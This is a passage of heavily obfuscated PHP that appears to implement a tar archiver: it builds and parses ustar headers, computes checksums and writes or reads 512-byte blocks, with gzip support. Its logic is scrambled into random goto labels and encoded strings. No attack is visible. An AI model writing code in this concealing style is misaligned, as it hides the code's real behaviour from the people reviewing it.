unpack("\141\x31\x30\x30\146\x69\154\145\156\x61\155\x65\57\x61\70\x6d\157\144\145\x2f\x61\x38\x75\x73\x65\x72\x49\x64\x65\x6e\164\151\x66\x69\145\x72\57\141\x38\147\162\x6f\165\160\x5f\x69\x64\x2f\141\61\x32\x73\x69\172\145\x2f\141\x31\62\x74\x69\155\x65\x2f\141\70\x66\x69\x6c\145\110\141\163\150\x2f\141\x31\x74\x79\x70\x65\x66\154\141\147\x2f\141\61\60\60\154\x69\156\x6b\57\x61\x36\155\141\147\151\143\57\141\x32\166\x65\x72\163\x69\x6f\156\x2f\141\x33\x32\x75\156\141\155\145\x2f\141\x33\62\147\x6e\141\155\145\57\141\x38\144\x65\x76\155\141\x6a\x6f\x72\57\x61\70\144\145\166\155\x69\x6e\x6f\x72", $m122z); goto ex5p2; etuqj: $pTb54 = 156; goto X7Brv; J8Qoa: goto fU5Ve; goto Quof4; Z81J2: yRqTt: goto s7Kau; Zl3EH: $JQjPf["\x74\151\x6d\x65"] = OctDec(trim($wNGCB["\x74\x69\x6d\x65"])); goto SllkN; XTXce: goto PZnmA; goto LxPtj; zrOpL: goto GlY0j; goto tEV0A; ruhAD: uzD_R: goto UZqaT; n2mTC: goto v7kvZ; goto gaWJq; qU_1U: EeEe6: goto QvM1D; iMkJd: $this->p6jLS[] = JNGiJ("\105\x72\x72\157\x72\x20\146\x69\x6c\x65\110\141\x73\x68\x20\146\x6f\x72\40\146\x69\154\x65\40") . $wNGCB["\146\151\154\145\156\141\x6d\x65"]; goto ADurH; IFPg2: goto qSZV1; goto PKnS9; A670f: goto qi3Il; goto NllbI; MrFoR: if ($pTb54 < 156) { goto rr3TB; } goto zQUvx; tFac8: hHmU6: goto iNSTq; u2ioO: goto Tzlaj; goto Adf3V; KYO22: $JQjPf["\147\162\157\165\160\x5f\x69\144"] = OctDec(trim($wNGCB["\147\162\x6f\x75\160\x5f\x69\144"])); goto jJKkW; v18Ri: $pTb54 = 148; goto cpn5y; VslIU: MtogZ: goto jH_0t; sP3pI: s7Cor: goto wOxOd; ZsQK2: vv6RS: goto n4B_k; N6vvy: if ($pTb54 < 512) { goto HRrCJ; } goto iWTVw; mVJXh: Gd1mT: goto N6vvy; ghL5X: DubK1: goto Zl3EH; MyVbd: goto ll2ma; goto L5Fnj; I8yza: Tzlaj: goto Kf3Zl; BMJcJ: $pTb54++; goto uBDBc; W4Hf6: pt6Qo: goto t5UkL; u8Ndv: PZnmA: goto TNfAS; r2IIY: goto L79lI; goto l3kBL; lHuac: goto yq2I3; goto MIxxW; M0V4O: goto IweNe; goto FR2OF; hLy_C: goto TiSbe; goto HL7Gy; p0H2A: goto FmeXM; goto e7CG0; LxPtj: wHqMM: goto NKvfe; MKvpe: FkgVD: goto vhJPV; pi81g: NZeBD: goto W4Hf6; glTH7: miKZp: goto rpKzm; L4VHE: xkTsh: goto p0H2A; edSw5: goto DubK1; goto I8yza; poJtC: VVD5q: goto HduEz; DAIzJ: JX1el: goto DPZcn; cpn5y: goto OJHUc; goto Fg9Bn; ai5Ea: HhPkx: goto gB1Ba; hwAKW: goto syS3J; goto Z81J2; NYbXB: goto FD02p; goto ghL5X; DPZcn: $this->MBvcy("\x49\156\x76\141\154\151\144\40\x62\154\157\143\153\x20\163\x69\172\145") . "\x3a\x20" . strlen($m122z); goto TTjol; bqeIp: qi3Il: goto GfVbE; n4B_k: return false; goto YK6ON; BllWg: goto EeEe6; goto ZsQK2; COEs7: $JQjPf["\x6d\x6f\144\145"] = OctDec(trim($wNGCB["\x6d\x6f\x64\x65"])); goto XPlDm; cgXbZ: goto qdSVt; goto tHXiX; uBDBc: goto sPLBB; goto eR3sm; qEphx: uZp91: goto o33_4; joYm3: goto Bug1e; goto VWrUf; n48gk: goto YqQS7; goto Fmom1; WcsWB: r2avv: goto grHu0; NKvfe: if (($JQjPf["\164\x79\x70\145\146\x6c\141\147"] = $wNGCB["\164\x79\x70\x65\x66\154\x61\x67"]) == "\65") { goto c5D8F; } goto joYm3; eR3sm: qSZV1: goto T7FhK; UZqaT: goto SeOUp; goto jOOqY; WdxuL: goto NYd2L; goto cgXbZ; YK6ON: goto NZeBD; goto bqeIp; jlVBv: qdSVt: goto L4VHE; PKnS9: syS3J: goto GLK0Y; GfVbE: $pTb54 = 0; goto U3WV6; Fg9Bn: L79lI: goto KYO22; pF4Xw: goto yRqTt; goto zgOdJ; sl30r: goto I0OH7; goto tFac8; uVJTM: goto teMCj; goto HxCyp; om8O1: qXrkg: goto tr_1f; T0hNb: $JQjPf["\x66\151\x6c\145\x6e\141\155\145"] = ''; goto ccd5z; aVHh_: goto O23d7; goto jlVBv; rcEQs: $s0KJD += ord(substr($m122z, $pTb54, 1)); goto XTXce; j4aia: goto uZp91; goto uVJTM; gB1Ba: $pTb54++; goto n2mTC; tEV0A: fXuWn: goto FzYrq; ifDhz: Y0dcV: goto LdqUE; ITKzM: goto miKZp; goto c2ekk; zQUvx: goto xkTsh; goto Ai3tw; MIxxW: ll2ma: goto uW_Q_; wOxOd: goto Fwyy2; goto idKS8; ph_PZ: goto HhPkx; goto OyE8E; o33_4: goto Gd1mT; goto glTH7; NllbI: sPLBB: goto WdxuL; SllkN: goto qXrkg; goto K2MTY; K6Z79: Hv8Hj: goto ruhAD; HL7Gy: FD02p: goto GbrUH; MdscA: $s0KJD += ord(substr($m122z, $pTb54, 1)); goto IpQVa; WchWB: NYd2L: goto n48gk; b6XoF: if ($pTb54 < 148) { goto s7Cor; } goto rMK5I; ovUeo: v7kvZ: goto NfJq8; e7CG0: GlY0j: goto j4aia; ex5p2: goto rUjnw; goto NF8PK; BBgLJ: AdUC8: goto ph_PZ; c2ekk: SeOUp: goto iMkJd; Cd4ta: goto VVD5q; goto dpqS6; uvC6z: Td3sM: goto J8Qoa; MTbwg: goto cb1by; goto nw1oN; ahQPW: goto esfhw; goto BzWwe; HduEz: oG01l: goto pH6ld; XHuI1: lAtPP: goto b1nQ2; A2TqJ: fU5Ve: goto ahufV; Big6k: goto uzD_R; goto YpZca; b8Vgp: zOa7i: goto hwAKW; Quof4: yq2I3: goto COEs7; FSwQk: goto JX1el; goto mVJXh; rMK5I: goto oG01l; goto sP3pI; s7Kau: } function tbnes($g6Xdn, $C1Ko_) { goto gFj2b; A41eK: $this->L0CXb($HIBA9, 148); goto JL2h4; nqRSo: Ge1Rr: goto lMRPe; UuLaI: qq7IH: goto HfVGb; uph3v: hw35a: goto B_FUt; gbKjM: owZGx: goto SI6Gs; SKkuj: cZNY3: goto BPJQS; cYUa8: goto ta4RS; goto F1oWB; hmNS1: goto aAQCf; goto iLldk; tijPz: goto JE6rU; goto Ucbva; NqCz9: clearstatcache(); goto MCr0v; BT9CN: $h8LP2 = sprintf("\x25\x31\61\163\40", DecOct(0)); goto VeP2C; daDxV: return true; goto HdGb6; THnde: $iF51U = 0; goto u4o23; Eiixi: uxOX2: goto f3A5J; BNM36: uYgFU: goto FrLgR; dbHVn: m32eM: goto hgZ30; b1h4_: goto ehzsI; goto tysfv; uiz3d: goto oH1E8; goto J6zRR; hgM9F: goto J1IFE; goto VOg8O; b0pDq: shHp_: goto kDYrz; zAKCJ: $p2wkA = $this->zHdWR($vmA7q); goto Y1gfl; NRHZ1: $pTb54 = 148; goto FZMX5; bgNUW: Ny1GZ: goto BT9CN; KIR2K: goto MAKjg; goto mgSBz; WE04t: goto PIwKc; goto Xbug0; cuI6M: JuY2N: goto T0LgY; GDC4T: $s0KJD += ord(substr($VLGfF, $iF51U, 1)); goto sgNX8; hgZ30: goto Y3gyk; goto d9h8E; NE2k0: goto r8imK; goto JQbug; P2ctM: i_LfL: goto NRHZ1; PGbjn: goto lnR5n; goto uph3v; SFyAg: goto aD8ah; goto L5Wen; SrMQw: goto rEiAT; goto bgNUW; bjrhH: $pTb54 = 156; goto UUJBS; o9J3l: ZydZo: goto nwpHy; b8kjg: aRSrY: goto zkAjz; tLxB2: lIioH: goto MoZZ1; TByw_: goto W6qSn; goto uiz3d; fMryz: goto RtTSB; goto SPIZr; Ukrc_: EHo_G: goto gbKjM; YfnAO: goto XwNfb; goto QFM1W; fpIaN: etPGr: goto oREc2; KmUrx: goto GA03y; goto qsXAi; jUsjy: goto fSUlD; goto XG8c6; B_FUt: $s0KJD += ord("\x20"); goto J0nwY; JDs9m: nZX_v: goto H3uol; aetyh: $pTb54++; goto FdHjX; MRPfI: goto qq7IH; goto bdP3X; QCypy: goto y3joe; goto aLoMQ; Xbug0: OkMwY: goto MpV6B; L89i_: $m122z = pack("\x61\70", $s0KJD); goto DXhss; F1oWB: WDmwy: goto j009d; sgNX8: goto ZydZo; goto cekrP; B90NT: $s0KJD += ord("\40"); goto HkJo0; oREc2: $h8LP2 = sprintf("\x25\x31\x31\163\40", DecOct(G1bwn($g6Xdn))); goto qQFCR; SPIZr: y2ccZ: goto zCF6l; CEvQu: goto av8pi; goto InjIZ; ybRo4: B8Nb6: goto OncVV; KMoKJ: goto uYgFU; goto WjdYO; zCF6l: if (strlen($C1Ko_) <= 0) { goto shHp_; } goto Q22iT; MB5sM: goto eVsAD; goto Ihswx; KvuHB: goto U2BsS; goto X0MzJ; pO2Sz: ehzsI: goto EtB5o; Hfph9: TqYOa: goto b37wV; kNvZ7: goto s91oe; goto jT_aR; oquy3: ApBGh: goto uxiDw; AGjcm: wZ50L: goto QpwXk; ao6S7: rGRnV: goto qQXiw; KiTV1: goto rXLII; goto beTIO; eITiq: $pTb54 = 156; goto q3sMY; MoZZ1: goto riupk; goto G2zjS; JL2h4: goto U3OqU; goto ThIU1; tysfv: DyFOs: goto uCpT2; zVonX: goto owZGx; goto KYyo_; UbmYr: goto s52U3; goto PgAm7; QpwXk: $pTb54++; goto ND3zB; ThIU1: RDIeE: goto K8SNl; lySfs: if ($pTb54 < 148) { goto rS2zJ; } goto ezBII; q3sMY: goto vefkW; goto ao6S7; QaXLW: goto FadvP; goto a3cd4; h3jJx: twU2S: goto n62CN; tmTLd: lPj9T: goto k3J4y; Q69YK: S3sMq: goto ghxvD; rEgfr: U6Lr5: goto L89i_; nSvbz: goto rbARa; goto xhsKk; UjFKN: goto JuY2N; goto CPdiC; x1WhP: gfVAl: goto Fw6tk; MR2Ie: W6qSn: goto CCZyY; gFj2b: goto uxOX2; goto uoC5_; FrLgR: return true; goto MRPfI; rbtEK: goto gfVAl; goto UtHeU; F1VSe: q3vCp: goto kIL9x; IyTny: az3_I: goto p19j9; EtB5o: pN9yK: goto u4Zrl; BPJQS: goto EGAW7; goto xiF1h; Y1gfl: goto IXRwk; goto dDivE; zsjfr: $s0KJD = sprintf("\x25\66\x73\40", DecOct($s0KJD)); goto bZNa1; ykQsw: $this->L0cXB($VLGfF, 356); goto PGbjn; NEl75: goto rr1wT; goto EIsV8; uZ9Hk: $HIBA9 = pack($yuaWs, $vmA7q, sprintf("\45\x36\x73\x20", DecOct(fileperms($g6Xdn))), sprintf("\45\66\163\x20", DecOct($Zj1xz[4])), sprintf("\45\66\x73\x20", DecOct($Zj1xz[5])), $h8LP2, sprintf("\x25\61\61\163", DecOct(filemtime($g6Xdn)))); goto a3k7N; SjND3: av8pi: goto hgM9F; QRKK6: $s0KJD = 0; goto fRwhe; lMRPe: goto RDIeE; goto zhBYK; PlxVv: bHI75: goto HPimx; ze0ok: goto PTSdM; goto Hfph9; xiF1h: aD8ah: goto Yb3LJ; SX8dC: Gob3t: goto qEfNa; Ucbva: goto PD1cq; goto rEgfr; LmrUN: goto wZ50L; goto h3jJx; p19j9: goto SqXhj; goto cuI6M; EEBT0: goto RqClk; goto Q69YK; n62CN: zgbXw: goto x1SiD; uCpT2: PhidO: goto yEAm1; kYC4c: goto q3vCp; goto Ukrc_; DGy0D: goto az3_I; goto Jp3kV; X0MzJ: E_afx: goto DF27x; tElEd: goto fcLXU; goto l0uSQ; GYydF: $iF51U++; goto MB5sM; rXhxh: if ($pTb54 < 512) { goto lIioH; } goto nUY4m; V9wzi: iaJyV: goto vh5GK; L5Wen: lnR5n: goto daDxV; rp2X5: goto lPj9T; goto A12Dc; VeP2C: goto wOPGz; goto PlxVv; k3J4y: $VLGfF = pack($dYeKo, "\x4c", '', '', '', '', '', '', '', '', ''); goto KvuHB; HkJo0: goto twU2S; goto cT3hm; IEoU0: goto IlP5N; goto xBpKJ; SEraQ: JE6rU: goto PImaa; FNqFL: goto dgSCO; goto ZB9P2; JQbug: vefkW: goto IyK2o; InjIZ: goto E_afx; goto eiHYD; vllb8: $pTb54++; goto NEl75; ZB9P2: rEiAT: goto c0tse; K8SNl: $HIBA9 = pack($yuaWs, "\56\x2f\56\57\114\x6f\x6e\147\x4c\151\156\153", 0, 0, 0, sprintf("\x25\61\x31\163\40", DecOct(strlen($vmA7q))), 0); goto rp2X5; bgEIB: llDY0: goto SFyAg; bdP3X: dgSCO: goto CEvQu; u4o23: goto EHo_G; goto fpIaN; DXhss: goto ApBGh; goto ybRo4; DF27x: sbt1Q: goto wdDEj; I2TQG: vtHeG: goto tijPz; d155K: goto sbt1Q; goto HA_RU; FdHjX: goto vtHeG; goto OeRPB; EzMA3: aAQCf: goto WiL6Z; Ihswx: IXRwk: goto etW4v; bZNa1: goto E9MlX; goto r_KwP; kwmJV: goto U6TSn; goto laMWo; n1X_l: MAKjg: goto bl5fx; CCZyY: goto OkMwY; goto aavqj; fRwhe: goto XMBQY; goto p5_me; DPx2N: goto kmBgT; goto NxU91; l0uSQ: rbARa: goto DGy0D; Bek9T: goto GUAl5; goto bgEIB; eSwgx: U5XYh: goto uZ9Hk; wjNy9: w3dmm: goto uJuaY; B1jf7: goto Emt98; goto lgM2z; UtHeU: ADi1P: goto rXhxh; C0M56: $m122z = pack("\x61\x35\61\62", $o8HkJ); goto DPx2N; lgM2z: GA03y: goto b8kjg; nUY4m: goto m32eM; goto tLxB2; j3Jti: goto h9wJM; goto UuLaI; xhQ0c: $dYeKo = "\141\61\x61\x31\60\x30\x61\66\141\62\141\63\x32\x61\63\x32\141\70\x61\70\x61\61\x35\x35\141\61\x32"; goto z5yzm; FvHUP: goto x0gxv; goto YX3Lk; ILMkE: goto ymwJe; goto U19DI; ezBII: goto PhidO; goto A7daS; eiHYD: aB9ya: goto QoKDE; bl5fx: goto ADi1P; goto o2mDA; HA_RU: mluF_: goto nIsaL; iPFtu: goto XNWUS; goto peVIC; L1FLR: J1IFE: goto X3uCj; MPrtA: I4AWL: goto JDs9m; T0LgY: if (!@is_dir($g6Xdn)) { goto npMCp; } goto B9e55; Yb3LJ: $s0KJD += ord(substr($HIBA9, $pTb54, 1)); goto fMryz; xgj1C: kQMxl: goto KiTV1; wu6a2: riupk: goto GDC4T; H3uol: goto aKhMc; goto x1WhP; rymHW: wOPGz: goto MPzez; hktB5: $this->L0CXb($HIBA9, 148); goto ze0ok; Jp3kV: goto DyFOs; goto wsu0O; YX3Lk: vtJjC: goto CJp9D; f3A5J: $yuaWs = "\x61\61\x30\x30\x61\70\141\70\x61\x38\x61\x31\62\101\x31\x32"; goto iPFtu; SeUZT: $s0KJD = 0; goto j3Jti; u4Zrl: goto rGRnV; goto GUQ_o; qsXAi: rr1wT: goto TByw_; vh5GK: $s0KJD += ord(substr($VLGfF, $iF51U, 1)); goto RQG0v; A12Dc: E9MlX: goto FgI88; Q22iT: goto pN9yK; goto b0pDq; MCr0v: goto etPGr; goto xltoV; c0tse: ta4RS: goto KMoKJ; QJ43n: lc7vy: goto uUQXC; j009d: goto wieT3; goto lxlGY; iLldk: U2BsS: goto SeUZT; zChyi: XMBQY: goto L0pWI; OeRPB: TZcAk: goto zAKCJ; S_fzT: eVsAD: goto KIR2K; WjdYO: BShrU: goto eITiq; AHwqJ: goto cZNY3; goto SrMQw; NxU91: b1cAm: goto Y28O6; KYyo_: goto I4AWL; goto oquy3; VOg8O: GjZea: goto THnde; jT_aR: s52U3: goto n1X_l; cekrP: EGAW7: goto OG29p; a3cd4: PIwKc: goto TC3II; k7bti: goto Ny1GZ; goto eSwgx; eTrYC: goto U6Lr5; goto L1FLR; L0pWI: $pTb54 = 0; goto QCypy; r_KwP: pKl2z: goto xgj1C; SI6Gs: goto w3dmm; goto rymHW; wsu0O: Emt98: goto bjrhH; HfVGb: sxUwV: goto AgmBz; WiL6Z: $pTb54++; goto WE04t; p5_me: aKhMc: goto hktB5; z5yzm: goto y2ccZ; goto V9wzi; kIL9x: if (strlen($vmA7q) > 99) { goto Ge1Rr; } goto k6bjJ; I7Ipd: goto TZcAk; goto oXnIS; IRlPY: ZXplD: goto D3ZhP; HdGb6: goto aB9ya; goto Wmiry; A7daS: rS2zJ: goto ILMkE; QFM1W: IlP5N: goto AHwqJ; FZMX5: goto tBDjd; goto pO2Sz; U19DI: XwNfb: goto IyTny; aLoMQ: yqrO5: goto YJML4; I4mNu: Y3gyk: goto A41eK; LARZc: tdWz2: goto QRKK6; M1xCN: $Zj1xz = stat($g6Xdn); goto UjFKN; MteD1: coRek: goto Aa6Kj; SqjRa: npMCp: goto rbtEK; X3uCj: if ($pTb54 < 156) { goto mluF_; } goto d155K; XnIQt: $pTb54 = 0; goto YfnAO; n4gi6: goto U5XYh; goto F1VSe; dDivE: PD1cq: goto G5uZz; cT3hm: DO9lZ: goto rZidz; AgmBz: goto PU6tH; goto P2ctM; Aa6Kj: goto iaJyV; goto tmTLd; FT357: FadvP: goto vllb8; B9e55: goto Gob3t; goto SqjRa; CPdiC: wieT3: goto C0M56; ND3zB: goto SlhGt; goto xbD4L; G2zjS: fcLXU: goto SjND3; RQG0v: goto b1cAm; goto PFjRu; nIsaL: goto KmCf8; goto I4mNu; rZidz: $pTb54++; goto nSvbz; J0nwY: goto pKl2z; goto EzMA3; OG29p: if (($o8HkJ = substr($p2wkA, $pTb54++ * 512, 512)) != '') { goto WDmwy; } goto cYUa8; uJuaY: if ($pTb54 < 512) { goto coRek; } goto qJvSl; Y28O6: hYBwM: goto hmNS1; wdDEj: goto BShrU; goto EQMyW; MPzez: U6TSn: goto n4gi6; nwpHy: uQQyP: goto LmrUN; A6m7a: $this->l0cXb($VLGfF, 356); goto I7Ipd; xltoV: SqXhj: goto lySfs; laMWo: goto ouuv9; goto QJ43n; zkAjz: goto DO9lZ; goto Eiixi; LFgtK: x0gxv: goto NqCz9; TMZLp: goto TqYOa; goto zChyi; EQMyW: ouuv9: goto SX8dC; PFjRu: KmCf8: goto B90NT; peVIC: ymwJe: goto Zp6hn; eUdom: s3TmY: goto QaXLW; mgSBz: goto AC5JJ; goto AGjcm; xbD4L: yCBrS: goto kwmJV; G5uZz: RqClk: goto B1jf7; x1SiD: goto yqrO5; goto MPrtA; TC3II: $iF51U++; goto hZXxl; xhsKk: fSUlD: goto SKkuj; CJp9D: $VLGfF = pack($dYeKo, $fxXHh, '', '', '', '', '', '', '', '', ''); goto vKkYi; YJML4: $pTb54++; goto FNqFL; PgAm7: XNWUS: goto xhQ0c; OncVV: $fxXHh = "\65"; goto k7bti; k6bjJ: goto sxUwV; goto nqRSo; uUQXC: if ($pTb54 < 156) { goto S3sMq; } goto EEBT0; HPimx: $pTb54 = 148; goto tElEd; qEfNa: goto B8Nb6; goto I2TQG; Zp6hn: $s0KJD += ord(substr($HIBA9, $pTb54, 1)); goto KmUrx; PImaa: goto lc7vy; goto FT357; IyK2o: $iF51U = 0; goto UbmYr; beTIO: y3joe: goto MR2Ie; a3k7N: goto vtJjC; goto S_fzT; XG8c6: PU6tH: goto M1xCN; D3ZhP: $C1Ko_ = $g6Xdn; goto b1h4_; oXnIS: UPsbU: goto zVonX; iG94O: $this->l0CXb($m122z); goto IEoU0; uoC5_: h9wJM: goto XnIQt; aavqj: rXLII: goto aetyh; vKkYi: goto tdWz2; goto LARZc; o2mDA: s91oe: goto ykQsw; oJMtn: PTSdM: goto FPITu; hZXxl: goto UPsbU; goto BNM36; yEAm1: goto bHI75; goto wu6a2; EIsV8: AC5JJ: goto dbHVn; FgI88: $m122z = pack("\141\x38", $s0KJD); goto TMZLp; d9h8E: kmBgT: goto iG94O; qQXiw: $vmA7q = $this->ZHDWR($C1Ko_); goto kYC4c; lxlGY: r8imK: goto A6m7a; MpV6B: if ($pTb54 < 148) { goto llDY0; } goto Bek9T; GUQ_o: U3OqU: goto zsjfr; xBpKJ: RtTSB: goto eUdom; qJvSl: goto nZX_v; goto MteD1; b37wV: $this->L0cXB($m122z, 8); goto NE2k0; Fw6tk: $fxXHh = ''; goto FvHUP; J6zRR: tBDjd: goto SEraQ; UUJBS: goto GjZea; goto wjNy9; zhBYK: SlhGt: goto GYydF; uxiDw: $this->L0cxB($m122z, 8); goto kNvZ7; EqmDO: goto i_LfL; goto o9J3l; Q7Ja0: GUAl5: goto EqmDO; Wmiry: oH1E8: goto Q7Ja0; ghxvD: goto hw35a; goto IRlPY; FPITu: $s0KJD = sprintf("\x25\66\163\40", DecOct($s0KJD)); goto eTrYC; etW4v: $pTb54 = 0; goto jUsjy; qQFCR: goto yCBrS; goto oJMtn; kDYrz: goto ZXplD; goto LFgtK; QoKDE: } function msK0e() { goto eKT03; zKVY3: goto eFh7v; goto U3YXG; NTwPL: if (!$this->jRr_K) { goto Kq7Ya; } goto PggOi; lPwa0: eFh7v: goto NTwPL; yWMD2: fzmz5: goto x17MS; U3YXG: NucK0: goto BGhOL; PggOi: goto Y81Bj; goto CpDcS; eKT03: goto ta7FG; goto yWMD2; LpzYn: mCehc: goto pXict; EXEBQ: ZJb43: goto O6W2m; spST_: goto Q2K4D; goto SJW87; CHfDP: goto mCehc; goto s11cE; QBzTi: if (!$this->KUpB2) { goto AEIcB; } goto WI61P; UC5HP: return false; goto VOglF; CpDcS: Kq7Ya: goto spST_; CbhkE: goto fzmz5; goto eYx3c; SJW87: kWxeB: goto RbTZA; pXict: goto ftg6q; goto CbhkE; n0Fjx: return true; goto C4xSI; x17MS: QfFDL: goto Jr2Rx; BGhOL: $this->jRr_K = fopen($this->Rkrmc, "\x77\142"); goto CHfDP; cEuDN: goto IuHwm; goto lPwa0; VOglF: goto ZJb43; goto JXcYO; rRscm: goto kWxeB; goto PNtcP; kXW64: $this->p6jLS[] = jngij("\103\x61\x6e\x6e\x6f\164\40\167\x72\151\164\x65\x20\164\x6f\x20\146\x69\x6c\145") . "\40" . $this->Rkrmc; goto pv65B; RbTZA: ftg6q: goto zKVY3; JXcYO: uY0wX: goto rCq1K; PNtcP: tMJw7: goto KjFDx; Jr2Rx: goto uY0wX; goto hBeCL; rCq1K: $this->jRr_K = gzopen($this->Rkrmc, "\x77\142\x39\146"); goto rRscm; WmoRU: goto NucK0; goto LpzYn; s11cE: D0vh7: goto UC5HP; pv65B: goto D0vh7; goto EXEBQ; Wd5c2: ta7FG: goto QBzTi; WI61P: goto QfFDL; goto V8xAA; hBeCL: IuHwm: goto n0Fjx; O6W2m: Y81Bj: goto cEuDN; eYx3c: Q2K4D: goto kXW64; C4xSI: goto tMJw7; goto Wd5c2; V8xAA: AEIcB: goto WmoRU; KjFDx: } function xJGV2() { goto NDWK3; T9IiD: goto rRLhC; goto DWLov; td5Xq: if (!is_resource($this->jRr_K)) { goto hTrQZ; } goto NLnBj; gC8gz: Oo1b4: goto Bo5H2; gaZdk: goto v20F6; goto yGEPl; uDcK7: $gNoMR = fread($this->jRr_K, 512); goto BiLV7; NDWK3: goto yuVHs; goto GvEj_; WO_tU: if (!$this->KUpB2) { goto aJIIA; } goto QVQmM; QVQmM: goto lMYLG; goto Wryfy; lRGl4: DpHKn: goto R7Ftb; TJHOM: $gNoMR = ''; goto MnHf3; Vds7l: goto B3Een; goto iLAB0; eUadc: B3Een: goto gC8gz; GvEj_: kaMTH: goto TJHOM; Bo5H2: goto AvK1w; goto Wwsjb; P2j4r: rRLhC: goto Vds7l; D0aU_: goto PlERQ; goto KPqpv; dyv0C: goto DpHKn; goto CNuQK; eJnAD: lMYLG: goto D0aU_; TDlS_: PlERQ: goto YRwSt; yGEPl: t1szX: goto uDcK7; G7aSr: hTrQZ: goto OxQdV; Wryfy: aJIIA: goto vq79T; W9DT2: return $gNoMR; goto dyv0C; MnHf3: goto RQ7Pa; goto eUadc; vq79T: goto t1szX; goto TDlS_; ZuuT8: goto eHeqM; goto ptRX_; rNRUH: AvK1w: goto W9DT2; ptRX_: eHeqM: goto WO_tU; YRwSt: $gNoMR = gzread($this->jRr_K, 512); goto qdOLm; DWLov: goto kLWpQ; goto Ul0VS; qdOLm: goto hhzB5; goto TxOCo; TxOCo: yuVHs: goto td5Xq; OxQdV: goto kaMTH; goto rNRUH; BiLV7: goto kVNMw; goto lRGl4; NLnBj: goto gYCJE; goto G7aSr; iLAB0: kLWpQ: goto eJnAD; KPqpv: v20F6: goto mJqHV; CNuQK: RQ7Pa: goto hcyfz; Ul0VS: hhzB5: goto P2j4r; Wwsjb: kVNMw: goto T9IiD; mJqHV: gYCJE: goto ZuuT8; hcyfz: goto Oo1b4; goto gaZdk; R7Ftb: } function l0CXB($qWYRS, $EDKAo = 0) { goto fGMi1; yTzvi: Z3A9T: goto gHzhO; vZiCt: gzputs($this->jRr_K, $qWYRS, $EDKAo); goto oAirP; BnjkJ: z40j6: goto nTVnw; oZRUc: if (!$this->KUpB2) { goto GQ3K2; } goto Paz9G; U3T0U: goto Q5KCM; goto gJ3Vc; XFHcB: goto Yv6tV; goto cCwAG; gHzhO: fputs($this->jRr_K, $qWYRS, $EDKAo); goto RSIiI; X9nIt: BrdfD: goto qEbrK; cCwAG: Yv6tV: goto dct2E; TJQL0: goto IBjV1; goto urYDo; Wp4KV: iAhEi: goto f_NO3; f_NO3: goto z40j6; goto X9nIt; K32L2: IQKMs: goto YkjFr; SolLP: GQ3K2: goto SYAS6; f_zlw: N2kNc: goto aKi88; EiWT9: tCxKO: goto hiYfR; r0B_H: qN5nT: goto nRWZY; pQN08: Q5KCM: goto bNEos; aKi88: E2DEP: goto C2tqh; x4724: IBjV1: goto sMruk; X7d5q: goto yZAII; goto wqb24; Q1T5Z: goto jmoUr; goto auxnO; urYDo: x4HZC: goto BCt0D; wqb24: jdEHw: goto iIGrQ; hiYfR: goto IQKMs; goto K32L2; PjSjx: z9XsH: goto MpjF8; Jt7BQ: WBW0u: goto hn2hx; QYLGV: goto Nm8Jp; goto pQN08; RGup2: goto x4HZC; goto f_zlw; ct2yr: goto dnT8m; goto rjaFV; KXWZ2: zAbBT: goto b4yRK; MpjF8: if (!$this->KUpB2) { goto tCxKO; } goto pqtgm; C2tqh: goto mXKtD; goto yTzvi; sMruk: goto pMvEY; goto QYLGV; hOwMO: goto zAbBT; goto KXWZ2; oAirP: goto tY7mP; goto ZLBzy; bNEos: dnT8m: goto AhxTg; sTe_Q: mXKtD: goto vZiCt; BCt0D: goto uPebC; goto U3T0U; SYAS6: goto Z3A9T; goto BnjkJ; LO0fY: pMvEY: goto hOwMO; nTVnw: gzputs($this->jRr_K, $qWYRS); goto rqn1r; nRWZY: yZAII: goto XFHcB; YkjFr: fputs($this->jRr_K, $qWYRS); goto TJQL0; cAhiu: goto eA4ty; goto r0B_H; auxnO: goto N2kNc; goto sTe_Q; LLmGq: uSOFU: goto Q1T5Z; qEbrK: if (!($EDKAo === 0)) { goto E0z19; } goto ct2yr; rjaFV: E0z19: goto cAhiu; rqn1r: goto IYaXr; goto PjSjx; pqtgm: goto iAhEi; goto EiWT9; atDvI: jmoUr: goto RGup2; AhxTg: goto z9XsH; goto Jt7BQ; CxEjt: tY7mP: goto atDvI; fGMi1: goto WBW0u; goto CxEjt; IZ55C: goto qN5nT; goto LLmGq; ZLBzy: Nm8Jp: goto Wp4KV; iIGrQ: goto BrdfD; goto r1kIQ; gJ3Vc: IYaXr: goto LO0fY; hn2hx: if (is_resource($this->jRr_K)) { goto jdEHw; } goto X7d5q; r1kIQ: eA4ty: goto oZRUc; RSIiI: goto uSOFU; goto x4724; Paz9G: goto E2DEP; goto SolLP; b4yRK: uPebC: goto IZ55C; dct2E: } function pldK_() { goto FoGMY; RIdgl: if (is_resource($this->jRr_K)) { goto zTXao; } goto vRzD5; DARCu: goto egcDM; goto AZB6l; FoGMY: goto FHel6; goto alYrc; AZB6l: lwCDQ: goto ks3Oj; NOaP0: goto kxtkm; goto kH2Pk; Eox90: goto gY_3_; goto sVt0U; HhNd3: zTXao: goto DARCu; PEx3r: goto SaaYt; goto Eox90; Z5s8B: KkXBQ: goto p29iH; DQEKA: gzclose($this->jRr_K); goto COKt1; vRzD5: goto aoyE0; goto HhNd3; IFApk: goto KkXBQ; goto vJ8Vc; Qw0D_: $this->jRr_K = 0; goto IFApk; egk9_: goto rc64x; goto Z5s8B; p29iH: aoyE0: goto bPL8y; sVt0U: kxtkm: goto DQEKA; TCkVP: goto lBuKb; goto O5tgU; bPL8y: goto lwCDQ; goto PUZpo; RVQg4: if (!$this->KUpB2) { goto HMsQk; } goto rJYoy; MBV21: HMsQk: goto egk9_; ar4BJ: CkgzL: goto NOaP0; PUZpo: FHel6: goto RIdgl; alYrc: HpToe: goto Iqmpx; pzlaB: egcDM: goto RVQg4; kH2Pk: rc64x: goto HUK3h; Iqmpx: SaaYt: goto TCkVP; COKt1: goto HpToe; goto pzlaB; O5tgU: gY_3_: goto ar4BJ; rJYoy: goto CkgzL; goto MBV21; Jd6d4: lBuKb: goto Qw0D_; HUK3h: fclose($this->jRr_K); goto CPz15; CPz15: goto KZlfW; goto Jd6d4; vJ8Vc: KZlfW: goto PEx3r; ks3Oj: } function zHDWr($VLMCB) { goto boE03; ItNZ7: goto rg3RY; goto miTH7; ZT4MG: HVw1r: goto leLq5; Pt2bb: goto S1ZJv; goto nBpd3; NsZ_L: vDCgP: goto U8w10; Nm25E: R0lFu: goto apKu6; RTjLt: goto HAHzg; goto RSBIw; ewExl: ksW8f: goto oWG1C; daSFs: if (!(strlen($VLMCB) 